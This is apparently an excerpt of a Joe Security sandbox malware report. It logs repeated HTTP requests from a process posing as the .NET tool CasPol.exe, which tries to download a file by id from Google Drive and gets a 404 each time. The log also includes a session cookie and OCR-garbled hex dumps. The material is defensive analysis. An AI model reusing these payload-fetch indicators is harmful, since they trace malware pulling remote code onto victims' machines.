Date: Wed, 24 Nov 2021 10:54:56 GMT

Expires: Wed, 24 Nov 2021 10:54:56 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_I9ocaq","max_age":2592000, "endpoints”:[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-ZafVgObmsgIBWuMro8h+qgA' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:57 GMT

Expires: Wed, 24 Nov 2021 10:54:57 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:57 UTC 67

2021-11-24 10:54:57 UTC 68

2021-11-24 10:54:57 UTC 68

2021-11-24 10:54:57 UTC 69

Session ID Source IP

46 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:57 UTC 69

2021-11-24 10:54:58 UTC 69

2021-11-24 10:54:58 UTC 70

2021-11-24 10:54:58 UTC 70

Session ID Source IP
47 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49869

Direction

ouT

Source Port

49870

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-4X7iHxp+R3waHFTAM8/+8g" 'unsafe-inline' 'strict-dynamic’ https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:54:57 GMT

Expires: Wed, 24 Nov 2021 10:54:57 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-DakH+QW3EMZcGxfqFKKMpg' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:58 GMT

Expires: Wed, 24 Nov 2021 10:54:58 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:58 UTC 70

2021-11-24 10:54:58 UTC 71

2021-11-24 10:54:58 UTC 71

2021-11-24 10:54:58 UTC 72

Session ID Source IP

48 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:58 UTC 72

2021-11-24 10:54:59 UTC 72

2021-11-24 10:54:59 UTC 73

2021-11-24 10:54:59 UTC 73

Session ID Source IP
49 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49871

Direction

ouTt

Source Port

49872

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-VATcV8apVXJWqGGvwKQgEW' 'unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:58 GMT

Expires: Wed, 24 Nov 2021 10:54:58 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-7i/2ih21GjstFXnHKFTVRw' ‘'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:58 GMT

Expires: Wed, 24 Nov 2021 10:54:58 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:59 UTC 73

2021-11-24 10:54:59 UTC 73

2021-11-24 10:54:59 UTC 74

2021-11-24 10:54:59 UTC 75

Session ID Source IP

5 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:40 UTC 7

2021-11-24 10:54:40 UTC 8

2021-11-24 10:54:40 UTC 8

2021-11-24 10:54:40 UTC 9

Session ID Source IP
50 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49827

Direction

ouTt

Source Port

49873

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-hEwmfPMDCWmTZ9nB1pZOKQ' ‘unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval'’;object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:59 GMT

Expires: Wed, 24 Nov 2021 10:54:59 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-8FIRUPQBgpTe1ldQKQuU5gHQ' ‘unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:40 GMT

Expires: Wed, 24 Nov 2021 10:54:40 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:59 UTC 75

2021-11-24 10:54:59 UTC 75

2021-11-24 10:54:59 UTC 76

2021-11-24 10:54:59 UTC 76

Session ID Source IP

51 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:00 UTC 76

2021-11-24 10:55:00 UTC 76

2021-11-24 10:55:00 UTC 77

2021-11-24 10:55:00 UTC 78

Session ID Source IP
52 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49874

Direction

ouTt

Source Port

49875

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-gm|ZzQ5uV/H2iCKxdeeZ+A' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:59 GMT

Expires: Wed, 24 Nov 2021 10:54:59 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-k474s4e4jutSRZFmJI3kSJIw' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:00 GMT

Expires: Wed, 24 Nov 2021 10:55:00 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:00 UTC 78

2021-11-24 10:55:00 UTC 78

2021-11-24 10:55:00 UTC 79

2021-11-24 10:55:00 UTC 79

Session ID Source IP

53 192.168.11.20
kBytes

Timestamp transferred

